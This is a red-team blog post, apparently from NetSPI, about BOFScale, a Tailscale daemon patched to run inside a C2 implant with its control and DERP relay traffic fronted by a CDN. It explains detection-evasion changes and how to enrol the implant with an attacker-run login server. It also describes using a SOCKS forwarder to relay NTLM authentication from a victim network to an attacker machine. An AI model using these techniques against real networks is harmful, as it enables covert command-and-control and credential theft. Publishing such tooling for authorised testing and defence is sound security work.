← 返回列表

BOFScale: A CDN-Fronted Tailnet from a BOF-PE

单站 NetSPI Technical Blog 作者 Ceri Coburn 发布 Wed, 19 Aug 2026 16:39:02 +0000 入库 2026-11-18T05:47:07
<style>
.prose pre.wp-block-preformatted :where(strong):not(:where([class~=not-prose] *)) {
    color: inherit !important;
}
.single .prose .main pre.wp-block-preformatted {
    font-family: "Source Code Pro", "Liberation Mono", "Courier New", Courier, monospace;
    font-size: 15px;
    font-weight:400 !important;;
    line-height: 24px;
    background-color: #1a1a1a;
    border-radius:3px !important;
    margin-bottom:1.5rem !important;
    margin-top:0.25rem;
}
.prose .main .wp-block-columns.seperator { margin:4rem 0; padding: 1.5rem 0; border-bottom:2px solid #e7e7e7; }  .single .main-content.technical-blog.prose p { line-height: 1.9rem; font-size: 17px; }  .single .main-content.technical-blog.prose ul.wp-block-list li, .single .main-content.technical-blog.prose ol.wp-block-list li { font-size: 17px; line-height: 1.75rem; padding-top:4px; padding-bottom:5px;} .single .main-content.prose ul.even-spaced li { list-style-type: square; } 
.single .main-content.prose ul.even-left,  .single .main-content.prose ul li ul.even-spaced.zero-left { padding-left:0rem !important; }  .single .main-content.prose ul li ul.even-spaced.zero-left.list-none.li-15 li::marker { color: transparent; } .single .main-content.prose ul.even-spaced.zero-left.list-none.li-15 { padding-left:1.2rem !important; } 
.single .main-content.prose code { 
    border-radius: 2px;
    background-color: #333333;
    color: #ffffff;
    display: inline-block;
    border: 1px solid #333333;
    padding: 2px 4px 0px;
    font-family: "Source Code Pro", "Liberation Mono", "Courier New", Courier, monospace;
    line-height: 1.2;
    font-size: 13px;
    font-weight: 400;
    vertical-align: text-bottom;
   }
.single .main-content.prose .enlighter {
    background:#272a36;
}
</style>

<h2 id="h-introduction" class="wp-block-heading">Introduction</h2>

<p class="wp-block-paragraph">Running Tailscale as a network layer for C2 traffic is not a new idea. What makes this implementation different is that the entire Tailscale daemon runs inside the implant process with no driver, no service, no disk state, and no child processes. Traffic relays over standard WebSockets that are indistinguishable at the edge from a browser opening a WebSocket connection, which means both the DERP relay servers and the control plane can sit behind CloudFront or Fastly without any special handling.</p>

<p class="wp-block-paragraph">This post covers three tools that work together to make this possible. The first is <code>tailscaled</code>, a modified Tailscale daemon compiled as a BOF-PE that runs as an async background job inside the implant. The second is <code>tailscale</code>, a lightweight C++ BOF-PE that acts as the operator-facing client, letting you bring the node up, check its status, advertise routes, and shut it down. The third is <code>socksportfwd</code>, which bridges the gap that exists in userspace networking mode by forwarding local ports through the SOCKS5 server that tailscaled exposes, routing traffic to any node on the tailnet.</p>

<p class="wp-block-paragraph">Build instructions and release binaries are available on the <a href="https://github.com/NetSPI/BOFscale" target="_blank" rel="noreferrer noopener">GitHub repository</a> that accompanies this post. If you are not familiar with the BOF-PE pattern yet, the NetSPI blog <a href="https://www.netspi.com/blog/technical-blog/red-teaming/the-future-of-beacon-object-files/" data-type="post" data-id="26669" target="_blank" rel="noreferrer noopener">The Future of Our Beacon Object Files (BOFs)</a> is the place to start before reading further.</p>

<h2 id="h-why-tailscale-needed-patching" class="wp-block-heading">Why Tailscale Needed Patching</h2>

<p class="wp-block-paragraph">Tailscale&#8217;s architecture relies on two things getting through to the internet. The first is the control plane, which uses a protocol called TS2021, a Noise-encrypted session established over an HTTP connection upgrade. The second is DERP, the relay service Tailscale falls back to when peers cannot reach each other directly. DERP also uses its own HTTP upgrade mechanism.</p>

<p class="wp-block-paragraph">Neither of these look anything like a standard WebSocket connection. CDN providers like CloudFront and Fastly understand RFC 6455 WebSockets at the edge, but these non-standard upgrades just result in errors. This matters because fronting the DERP servers and a self-hosted Headscale instance behind a CDN is a straightforward way to make the traffic blend in, as long as Tailscale is actually speaking standard WebSockets.</p>

<p class="wp-block-paragraph">The vanilla Tailscale client does have WebSocket support, but it was gated behind a JavaScript-only build tag and a debug environment variable. Making it work properly on Windows and Linux for DERP, and extending it to the TS2021 control protocol, required a handful of targeted changes to the codebase. The rest of this section walks through those changes in the order they were made.</p>

<h2 id="h-making-tailscale-speak-rfc-6455" class="wp-block-heading">Making Tailscale Speak RFC 6455</h2>

<h3 id="h-enabling-websocket-derp-on-windows" class="wp-block-heading">Enabling WebSocket DERP on Windows</h3>

<p class="wp-block-paragraph">The WebSocket dial path in <code>derp/derphttp/websocket.go</code> had a build constraint that only included it for JavaScript targets. The first change extended that to Windows unconditionally.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">//go:build js || windows || ((linux || darwin) &amp;&amp; ts_debug_websockets) </pre>

<p class="wp-block-paragraph">Along with the build tag change, the <code>init</code> function was extended to set up a proper <code>http.Client</code> that honors the system proxy via <code>tshttpproxy</code>, so the WebSocket dial respects whatever proxy configuration the host has. This is the same proxy-awareness that the rest of Tailscale uses.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">func init() { 
    dialWebsocketFunc = dialWebsocket 
    transport := &amp;http.Transport{ 
        Proxy: tshttpproxy.ProxyFromEnvironment, 
    } 
    httpClient = &amp;http.Client{ 
        Transport: transport, 
    } 
    tshttpproxy.SetTransportGetProxyConnectHeader(transport) 
} </pre>

<h3 id="h-extending-websockets-to-the-ts2021-control-channel" class="wp-block-heading">Extending WebSockets to the TS2021 Control Channel</h3>

<p class="wp-block-paragraph">The DERP relay was now capable of using WebSockets, but the control plane was still using its standard upgrade path. The WebSocket dial logic in <code>control/controlhttp</code> was originally only compiled for JavaScript, where it shadowed the standard <code>Dial</code> method. Renaming it to <code>DialJS</code> and making it available alongside <code>Dial</code> meant both paths could coexist and be selected at runtime.</p>

<p class="wp-block-paragraph">The <code>ts2021/client.go</code> was then updated to check an environment variable and choose accordingly:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">if ws, _ := envknob.LookupBool("TS_DEBUG_DERP_WS_CLIENT"); ws { 
    clientConn, err = chd.DialJS(ctx) 
} else { 
    clientConn, err = chd.Dial(ctx) 
} </pre>

<p class="wp-block-paragraph">This was a steppingstone rather than the final design, but it confirmed the control protocol could tunnel over a standard WebSocket without issues.</p>

<h3 id="h-always-compile-websocket-support-on-desktop-platforms" class="wp-block-heading">Always Compile WebSocket Support on Desktop Platforms</h3>

<p class="wp-block-paragraph">With the initial implementation confirmed working, the <code>ts_debug_websockets</code> build tag was dropped entirely. WebSocket support is now compiled unconditionally on Windows, Linux, and Darwin. The <code>websocket_stub.go</code> build constraint was updated to match so the correct file is always selected.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">//go:build js || windows || linux || darwin</pre>

<h3 id="h-automatic-fallback-without-an-environment-variable" class="wp-block-heading">Automatic Fallback Without an Environment Variable</h3>

<p class="wp-block-paragraph">The environment variable approach works, but requiring the operator to set it is unnecessary friction and breaks the goal of having the daemon start cleanly with no manual configuration. A more elegant approach is to try the standard upgrade path first and fall back to WebSockets if an intermediate proxy blocks it.</p>

<p class="wp-block-paragraph">For the control plane in <code>control/controlhttp/client.go</code>, the fallback triggers on an HTTP 500 response, which is what CDN edges typically return when they cannot forward a non-standard upgrade:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">if resp.StatusCode != http.StatusSwitchingProtocols { 
    if resp.StatusCode != 500 { 
        return nil, fmt.Errorf("unexpected HTTP response: %s", resp.Status) 
    } else { 
        return a.DialJS(ctx) 
    } 
} </pre>

<p class="wp-block-paragraph">For DERP in <code>derp/derphttp/derphttp_client.go</code>, the WebSocket dial logic was factored out from the main <code>connect</code> function into a dedicated <code>dialWebsocket</code> method. If the standard DERP handshake returns HTTP 426, the code falls back to that method automatically:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">if resp.StatusCode != 426 { 
    b, _ := io.ReadAll(resp.Body) 
    resp.Body.Close() 
    return nil, 0, fmt.Errorf("GET failed: %v: %s", err, b) 
} else { 
    c.logf("%s: connecting to derp-%d (%v) via websocket due to HTTP status 426", caller, reg.RegionID, reg.RegionCode) 
    return c.dialWebsocket(ctx, caller, reg) 
} </pre>

<p class="wp-block-paragraph">The environment variable gate in <code>ts2021/client.go</code> was removed at the same time, so <code>Dial</code> now handles the fallback internally. Neither the operator nor the BOF entry point need to know which path was taken.</p>

<h3 id="h-forcing-websocket-mode-from-the-entry-point" class="wp-block-heading">Forcing WebSocket Mode from the Entry Point</h3>

<p class="wp-block-paragraph">With the automatic fallback in place, the environment variable approach is redundant. However, the BOF entry point still sets <code>TS_DEBUG_DERP_WS_CLIENT=1</code> explicitly. This ensures WebSocket mode is preferred from the start rather than only after a failed standard upgrade attempt, which avoids an unnecessary round trip on environments where the standard path is definitely blocked.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">os.Setenv("TS_DEBUG_DERP_WS_CLIENT", "1")</pre>

<p class="wp-block-paragraph">With all of this in place, both DERP relays and Headscale can be fronted by CloudFront or Fastly. The traffic at the CDN edge is a standard <code>Upgrade: websocket</code> request with a <code>derp</code> or <code>ts2021</code> subprotocol header, which CDNs handle without any special configuration beyond enabling WebSocket forwarding on the distribution.</p>

<h2 id="h-the-headscale-stack" class="wp-block-heading">The Headscale Stack</h2>

<p class="wp-block-paragraph">The <code>headscale</code> folder contains a Docker Compose stack that runs the entire control plane and DERP relay infrastructure the operator needs. It combines Headscale with its embedded DERP relay and the Headplane admin UI, all configured from the start to sit behind a CDN distribution.</p>

<p class="wp-block-paragraph">Deploying it is a single command:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="bash" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">HEADSCALE_HOSTNAME=d1a2b3c4e5f6g7.cloudfront.net docker compose up</pre>

<p class="wp-block-paragraph">Two init containers run in sequence before the stack is fully operational. The first, <code>headscale-init</code>, runs before Headscale itself starts and patches the two places in the configuration that need to know the public hostname. The <code>server_url</code> in <code>headscale-config.yaml</code> is set to <code>https://$HEADSCALE_HOSTNAME</code>, and the empty <code>hostname:</code> field in <code>derpmap.yaml</code> is filled in with the same value. Both files are committed to the repository with those fields blank so the hostname is never baked in.</p>

<p class="wp-block-paragraph">The second, <code>headplane-init</code>, runs after Headscale passes its healthcheck. It handles the remaining one-time bootstrap work:</p>

<ul class="wp-block-list even-spaced">
<li><strong>Cookie secret</strong>: generates a random 32-character string and writes it into the <code>cookie_secret</code> field in <code>headplane-config.yaml</code>. <br>This field is also left blank in the committed config so it is unique per deployment.</li>

<li><strong>User creation</strong>: creates the Headscale user that nodes will be enrolled under (defaults to <code>default</code>, overridable via <code>HEADSCALE_USER</code>).</li>

<li><strong>Headplane pre-auth key</strong>: generates a 90-day pre-auth key and writes it into the <code>pre_authkey</code> field in <code>headplane-config.yaml</code>. <br>This is the key Headplane uses to enroll its own Tailscale node so it can reach the Headscale API.</li>

<li><strong>Implant join key</strong>: generates a reusable ephemeral pre-auth key (also 90 days) and prints it to the compose output. <br>This is the key distributed to implants when calling <code>tailscale up</code>.</li>

<li><strong>ACL policy</strong>: checks whether a policy is already loaded in the Headscale database and, if not, applies <code>policy.json</code> from the repository. <br>This only runs once; subsequent <code>docker compose up</code> calls leave the database policy untouched.</li>
</ul>

<p class="wp-block-paragraph">After both init containers complete, Headscale serves on plaintext HTTP at port 5566, with TLS termination handled upstream by the CDN and the reverse proxy on the origin server.</p>

<h3 id="h-derp-inside-headscale" class="wp-block-heading">DERP Inside Headscale</h3>

<p class="wp-block-paragraph">Rather than running a separate DERP server, the stack uses Headscale&#8217;s embedded relay. This is configured with <code>verify_clients: true</code>, so only nodes enrolled in this tailnet can use it as a relay. With the DERP map hostname set to the CDN distribution, relay traffic hits the CDN on port 443 and is forwarded to the origin in the same way control plane traffic is.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="yaml" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">regions: 
  999: 
    regionid: 999 
    regioncode: hs 
    regionname: Headscale 
    nodes: 
      - name: 999a 
        regionid: 999 
        hostname: d1a2b3c4e5f6g7.cloudfront.net 
        canport80: false 
        derpport: 443 </pre>

<p class="wp-block-paragraph">The <code>derp.urls</code> list in the Headscale config is empty, so nodes enrolled against this server will never contact Tailscale&#8217;s own DERP infrastructure. All relay traffic stays within the operator-controlled stack.</p>

<h3 id="h-reverse-proxy-requirements" class="wp-block-heading">Reverse Proxy Requirements</h3>

<p class="wp-block-paragraph">The CDN needs to forward WebSocket connections to the origin, and the origin&#8217;s reverse proxy needs to pass them through to Headscale at <code>localhost:5566</code>. The most important requirement that is easy to miss is setting the timeouts to zero on the internal proxy leg. WebSocket connections used for DERP relay can stay open indefinitely, and most proxy defaults will close them long before they would naturally drain. With Caddy on the origin server the relevant paths look like this:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">@tailscale path_regexp ^/(ts2021|derp|key) 
handle @tailscale { 
    reverse_proxy http://localhost:5566 { 
        transport http { 
            read_timeout 0 
            write_timeout 0 
        } 
    } 
} </pre>

<p class="wp-block-paragraph">The equivalent for Apache2 requires <code>mod_proxy_wstunnel</code> for the WebSocket legs. Note that <code>/ts2021</code> and <code>/derp</code> must use a <code>ws://</code> backend scheme, not <code>http://</code>, Apache will refuse to tunnel the WebSocket upgrade over a plain HTTP proxy target.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="apache" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group=""># a2enmod proxy proxy_http proxy_wstunnel 

&lt;VirtualHost *:443> 
    # ... SSL configuration ... 

    ProxyRequests Off 
    ProxyPreserveHost On 

    # Disable proxy timeout — DERP relay connections stay open indefinitely 
    ProxyTimeout 0 

    # ts2021 and derp always connect via WebSocket upgrade 
    ProxyPass /ts2021 ws://localhost:5566/ts2021 
    ProxyPassReverse /ts2021 ws://localhost:5566/ts2021 

    ProxyPass /derp ws://localhost:5566/derp 
    ProxyPassReverse /derp ws://localhost:5566/derp 

    # key serves the server public key — plain HTTP, no upgrade 
    ProxyPass /key http://localhost:5566/key 
    ProxyPassReverse /key http://localhost:5566/key 
&lt;/VirtualHost> </pre>

<p class="wp-block-paragraph">The <code>/ts2021</code> path carries the TS2021 control protocol, <code>/derp</code> carries relay traffic, and <code>/key</code> serves the server&#8217;s public key which clients fetch before initiating the Noise handshake.</p>

<h3 id="h-opsec-defaults" class="wp-block-heading">OPSEC Defaults</h3>

<p class="wp-block-paragraph">A few settings in the stack are worth calling out. Logtail is disabled, so Headscale does not send any telemetry to Tailscale Inc. The WireGuard port is randomised per peer, which makes port-based detection harder. Ephemeral nodes are automatically removed after ten minutes offline, so implants that go quiet do not accumulate in the node list. The Headplane admin UI runs on port 3000 and is not exposed through the CDN at all; it is accessed via SSH tunnel to the origin server only.</p>

<p class="wp-block-paragraph">The ACL policy auto-approves subnet route advertisements from any enrolled node, so an implant can advertise a default route without the operator needing to manually approve it in the UI.</p>

<h2 id="h-the-daemon-tailscaled" class="wp-block-heading">The Daemon: tailscaled</h2>

<p class="wp-block-paragraph"><code>tailscaled</code> is the Tailscale daemon compiled as a Windows DLL using CGo&#8217;s <code>-buildmode=c-shared</code>. The DLL exports a single <code>Go</code> function that serves as the BOF-PE entry point. It runs as an async BOF so it never blocks the implant thread.</p>

<h3 id="h-starting-up" class="wp-block-heading">Starting Up</h3>

<p class="wp-block-paragraph">When the C2 framework calls the <code>Go</code> export, the first thing that happens is stdout and stderr are redirected. A goroutine reads from the write end of an OS pipe and forwards the data to <code>BeaconOutput</code>, so all of the Go runtime&#8217;s log output arrives in the operator console rather than disappearing.</p>

<p class="wp-block-paragraph">Arguments are extracted from the packed C2 argument blob using <code>BeaconDataParse</code> and <code>BeaconDataExtract</code>. A set of defaults are then injected if not already present:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="golang" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">if !hasTun { 
    tokens = append(tokens, "-tun=userspace-networking") 
} 
if !hasNoLogs { 
    tokens = append(tokens, "-no-logs-no-support") 
} 
if !hasState { 
    tokens = append(tokens, "-state", "mem:") 
} 
if !hasSocket { 
    socket := fmt.Sprintf("\\\\.\\pipe\\%s", uuid.New()) 
    tokens = append(tokens, "-socket", socket) 
    BeaconPrintf("[=] No socket provided, using random socket %s\n", socket) 
} </pre>

<p class="wp-block-paragraph"><code>-tun=userspace-networking</code> is the most important of these. Without a WinTun kernel driver installed, Tailscale falls back to a pure Go userspace networking implementation. This means no kernel driver dependency and no need for elevated privileges for the network stack itself. <code>-state mem:</code> keeps all node state in memory so nothing is written to disk. <code>-no-logs-no-support</code> disables the Tailscale log upload service.</p>

<p class="wp-block-paragraph">If no socket path is provided, a random named pipe path using a UUID is generated and printed to the operator. This value is what gets passed to <code>tailscale</code> in subsequent commands.</p>

<p class="wp-block-paragraph">The socket&#8217;s SDDL was also changed to <code>D:(A;;GA;;;WD)</code>, granting world access. This means the client BOF does not need elevated privileges to open the pipe.</p>

<pre class="wp-block-preformatted">var windowsSDDL = "D:(A;;GA;;;WD)"</pre>

<p class="wp-block-paragraph">Once arguments are assembled, <code>os.Args</code> is set and the real <code>tailscaled</code> <code>main()</code> is called. The entire daemon runs in-process.</p>

<p class="wp-block-paragraph">One important caveat here is that <code>tailscaled</code> should ideally run inside a sacrificial process. The Go runtime is not designed to shut down cleanly when the memory mapped PE is unmapped from memory. When the BOF-PE exits, the Go garbage collector threads and other runtime goroutines can crash because the memory they were executing against has been removed. This will not affect the primary implant if the daemon was injected into a separate process, but it will take that process down with it. Plan accordingly.</p>

<h3 id="h-reducing-iocs" class="wp-block-heading">Reducing IOCs</h3>

<p class="wp-block-paragraph">Running a full network daemon in-process creates some observable behaviour that is worth addressing. Several changes were made to reduce the number of indicators left behind.</p>

<p class="wp-block-paragraph">Tailscale&#8217;s DNS management code on Windows calls <code>wsl.exe</code> to configure DNS inside any running WSL instances. This was removed entirely since it spawns a child process and is unnecessary in a userspace-only scenario.</p>

<p class="wp-block-paragraph">The same DNS management path also calls <code>ipconfig.exe /registerdns</code> to flush and re-register DNS. This was wrapped behind checks that verify both that the tun mode is not userspace and that the binary was not built with the <code>bofpe</code> tag, so it never runs in this context.</p>

<p class="wp-block-paragraph">ICMP pings inside the userspace networking stack were originally handled by spawning <code>ping.exe</code>. These were replaced with direct calls to the Windows ICMP API using <code>IcmpCreateFile</code>, <code>IcmpSendEcho2</code>, and <code>IcmpCloseHandle</code>, removing another child process creation event.</p>

<p class="wp-block-paragraph">The audit log and certain profile path probes were wrapped behind similar tun and build tag checks, preventing file access events to paths that the daemon would normally probe but never actually use in this configuration.</p>

<p class="wp-block-paragraph">Finally, <code>TS_LOGS_DIR</code> is set to <code>C:\ProgramData</code> at startup, which prevents the creation of an empty <code>C:\ProgramData\tailscale</code> folder since the daemon expects to write logs there but the path is redirected before it can create the directory structure.</p>

<h3 id="h-build-tags" class="wp-block-heading">Build Tags</h3>

<p class="wp-block-paragraph">The Go build is done with a set of <code>ts_omit_*</code> tags that strip subsystems that are not needed. These cover ACME certificate management, AWS integrations, baked TLS roots, BIRD routing daemon support, the CLI, client update logic, Kubernetes integrations, posture checking, network logging, system policy, the web client, and Tailscale&#8217;s own telemetry. The result is a DLL that contains exactly what is needed to join a Tailscale or Headscale network and route traffic, nothing more.</p>

<h2 id="h-the-client-tailscale" class="wp-block-heading">The Client: tailscale</h2>

<p class="wp-block-paragraph"><code>tailscale</code> is a C++23 BOF-PE that runs as a synchronous BOF. It has no Go runtime and no dependency on the daemon&#8217;s internals. It simply speaks HTTP/1.0 over the named pipe that the daemon is listening on, which is exactly how the real <code>tailscale.exe</code> CLI works on Windows.</p>

<h3 id="h-http-over-a-named-pipe" class="wp-block-heading">HTTP over a Named Pipe</h3>

<p class="wp-block-paragraph">The pipe is opened with <code>CreateFile</code> using the <code>SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION</code> flag combination. The impersonation flag is not optional. The daemon&#8217;s <code>safesocket</code> layer calls <code>ImpersonateNamedPipeClient</code> to extract the caller&#8217;s token for access control checks, and the connection is rejected without it.</p>

<p class="wp-block-paragraph">Requests follow HTTP/1.0 with a small set of headers that the local API expects:</p>

<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">GET /localapi/v0/status HTTP/1.0 
Host: local-tailscaled.sock 
Tailscale-Cap: 125 
User-Agent: Tailscale 
Content-Length: 0 </pre>

<p class="wp-block-paragraph">The <code>Tailscale-Cap: 125</code> header tells the daemon which version of the local API the client understands. Responses are parsed by reading headers byte by byte until the blank line, extracting <code>Content-Length</code> if present, then reading either that many bytes or until pipe close.</p>

<h3 id="h-what-the-operator-can-do" class="wp-block-heading">What the Operator Can Do</h3>

<pre class="wp-block-preformatted">tailscale --socket \\.\pipe\&lt;uuid&gt; up --auth-key &lt;tskey-auth-...&gt; --login-server https://d1a2b3c4e5f6g7.cloudfront.net </pre>

<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:45%">
<p class="wp-block-paragraph">The <code>up</code> command checks <code>HaveNodeKey</code> in the current status first. If the node has not been enrolled before, it sends a <code>start</code> request with the full prefs object and an auth key. If the node is already enrolled, it simply patches <code>WantRunning</code> to true. The prefs used for enrollment hardcode a set of defaults suited to this use case: <code>ForceDaemon: true</code>, <code>CorpDNS: false</code> (no DNS takeover), <code>RunSSH: false</code>, and <code>NoStatefulFiltering: true</code>.</p>
</div>

<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<p class="wp-block-paragraph"><code>down</code> patches <code>WantRunning</code> to false without disconnecting the node. <code>set --advertise-routes</code> splits a comma-separated CIDR list and patches <code>AdvertiseRoutes</code> on the daemon. <code>status</code> fetches the current node status and formats a peer table showing each node&#8217;s tailnet IP, DNS name, and connection state. <code>shutdown</code> posts to <code>/localapi/v0/shutdown</code>, which causes the daemon&#8217;s <code>main()</code> to return and the async BOF thread to exit cleanly (but with the limitation of the go runtime remaining in place).</p>
</div>
</div>

<h3 id="h-netcheck" class="wp-block-heading">netcheck</h3>

<p class="wp-block-paragraph">The <code>netcheck</code> subcommand is a self-contained STUN probe that does not use the daemon at all. It is useful for verifying connectivity to a DERP server before enrolling the node. The operator supplies a hostname via <code>--endpoint</code> and the tool builds a minimal DERP map pointing to that host, then runs a series of STUN Binding Requests against it.</p>

<p class="wp-block-paragraph">The STUN implementation is a single header file. It crafts RFC 5389 Binding Requests with a <code>SOFTWARE="tailnode"</code> attribute and a CRC-32 fingerprint, then parses Binding Responses extracting <code>XOR-MAPPED-ADDRESS</code> for both IPv4 and IPv6. The probe runs over async UDP using ASIO, measures RTT per region, detects NAT behaviour, and prints a report.</p>

<h2 id="h-routing-traffic-socksportfwd" class="wp-block-heading">Routing Traffic: socksportfwd</h2>

<p class="wp-block-paragraph">Userspace networking is not a complete limitation. Traffic flowing inbound from the tailnet works fine: the attack VM can reach the implant directly by its tailnet address, and advertised subnet routes let the attack VM reach hosts in the victim network through the implant as shown in the <a href="#diagram" data-type="internal" data-id="#diagram">diagram below</a>. The daemon handles all of this through its internal userspace network stack without needing a kernel driver.</p>

<p class="wp-block-paragraph">What does not work is the reverse direction. Processes running on or connections initiated from the victim host cannot egress to the tailnet because there is no TUN adapter installed for the operating system to route through. For a use case like NTLM relay, where connections originate from the victim network and need to reach a tool running on the attack VM, this gap needs to be bridged explicitly.</p>

<p class="wp-block-paragraph">This is where <code>socksportfwd</code> comes in. The tailscaled daemon exposes a SOCKS5 proxy server on <code>0.0.0.0:1080</code> that has access to the full tailnet. <code>socksportfwd</code> binds a TCP port and for every incoming connection it completes a SOCKS5 handshake to that proxy, requesting a <code>CONNECT</code> to the target host and port on the tailnet. Once the proxy accepts, it relays data bidirectionally between the incoming connection and the SOCKS socket until either side closes. Any connection that arrives on the local port effectively exits on the tailnet at the target address, without the victim host having any network-level awareness of where it went.</p>

<h3 id="h-inside-the-relay" class="wp-block-heading">Inside the Relay</h3>

<p class="wp-block-paragraph">The implementation uses ASIO&#8217;s async I/O model. There are no per-connection threads.</p>

<p class="wp-block-paragraph">The SOCKS5 handshake sequence is straightforward. The client sends a greeting advertising <code>NO AUTH</code> as the only supported method, waits for confirmation, then sends a <code>CONNECT</code> request for the target. Target addresses are encoded as <code>ATYP_IPV4</code>, <code>ATYP_IPV6</code>, or <code>ATYP_DOMAIN</code> depending on whether the target parses as a literal address or not. Using <code>ATYP_DOMAIN</code> for Tailscale MagicDNS names like <code>attackvm.target.tun</code> means the name is resolved by the daemon at the proxy level. The OS resolver on the compromised host never sees the query, which matters when the host has no awareness of the tailnet&#8217;s DNS namespace.</p>

<h3 id="h-running-as-an-async-bof" class="wp-block-heading">Running as an Async BOF</h3>

<p class="wp-block-paragraph"><code>socksportfwd</code> runs as an async BOF so it does not block the implant. When the C2 framework starts an async BOF it allocates a Windows event <code>HANDLE</code> that the BOF can retrieve via <code>BeaconGetStopJobEvent</code>. The tool stores this handle and sets up a 500ms repeating ASIO timer that polls it with <code>WaitForSingleObject(event, 0)</code>. When the event fires, <code>io_context.stop()</code> is called, the relay exits, and the BOF returns.</p>

<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="false" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">[*] Listening on 0.0.0.0:8888 -> attackvm.target.tun:8888 via socks5 localhost:1080 
[*] Use your C2's built in job stop feature to stop the task </pre>

<p class="wp-block-paragraph">The arguments are minimal. <code>--t</code> is the target host on the tailnet, <code>--tp</code> is the target port, <code>--p</code> is the local listen port (defaults to the target port if not set), and <code>--s</code> / <code>--sp</code> override the SOCKS5 host and port if the daemon is listening somewhere other than <code>localhost:1080</code>.</p>

<h3 id="h-the-primary-use-case" class="wp-block-heading">The Primary Use Case</h3>

<p class="wp-block-paragraph">The most direct use for this is NTLM relay. Port 8888 is a reasonable default since it is unlikely to be in use. With <code>tailscaled</code> running and the node enrolled, <code>socksportfwd</code> binds port 8888 on the compromised host and forwards to a machine on the tailnet running ntlmrelayx. Authentication attempts from the victim network reach the attacker&#8217;s relay tool over the tailscale mesh, with the DERP relay traffic looking like WebSocket connections to a CDN domain. The compromised host has no awareness of the attacker infrastructure beyond the CDN hostnames used for DERP and Headscale.</p>

<p class="wp-block-paragraph">If local admin rights are available, port 445 can be used instead by stopping the SMB service to free the port, then forwarding that traffic over the tailnet. The same pattern works for HTTP relay, LDAP, or forwarding any other service from the tailnet into reach of the victim network.</p>

<h2 id="h-putting-it-all-together" class="wp-block-heading">Putting It All Together</h2>

<p class="wp-block-paragraph">The examples in this section use the following network layout. The victim network is <code>192.168.0.0/24</code>. The compromised host, <code>victim-ws01</code>, sits in this subnet with the implant loaded. <code>dc01</code> at <code>192.168.0.10</code> is the domain controller and the machine being coerced. The AD CS server at <code>192.168.0.20</code> is the relay target. The attack VM has no direct access to the victim network; it is enrolled on the tailnet as <code>operator.target.tun</code> (<code>100.64.0.1</code>) and reaches the victim environment entirely through the implant, which appears on the tailnet as <code>victim-ws01.target.tun</code> (<code>100.64.0.2</code>).</p>

<p class="wp-block-paragraph">A typical session looks like this.</p>

<div id="diagram" class="wp-block-group bg-white/50"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 60 1140 970" width="100%">
  <defs>
  <style>text { font-family: ui-monospace, "Cascadia Code", "Fira Code", "JetBrains Mono", "Consolas", monospace; }</style>
    <marker id="arrow" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#1a1a2e" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-mesh" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#5a40a0" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-mesh-rev" markerWidth="8" markerHeight="6" refX="1" refY="3" orient="auto">
      <path d="M8,0 L0,3 L8,6" fill="none" stroke="#5a40a0" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-victim" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
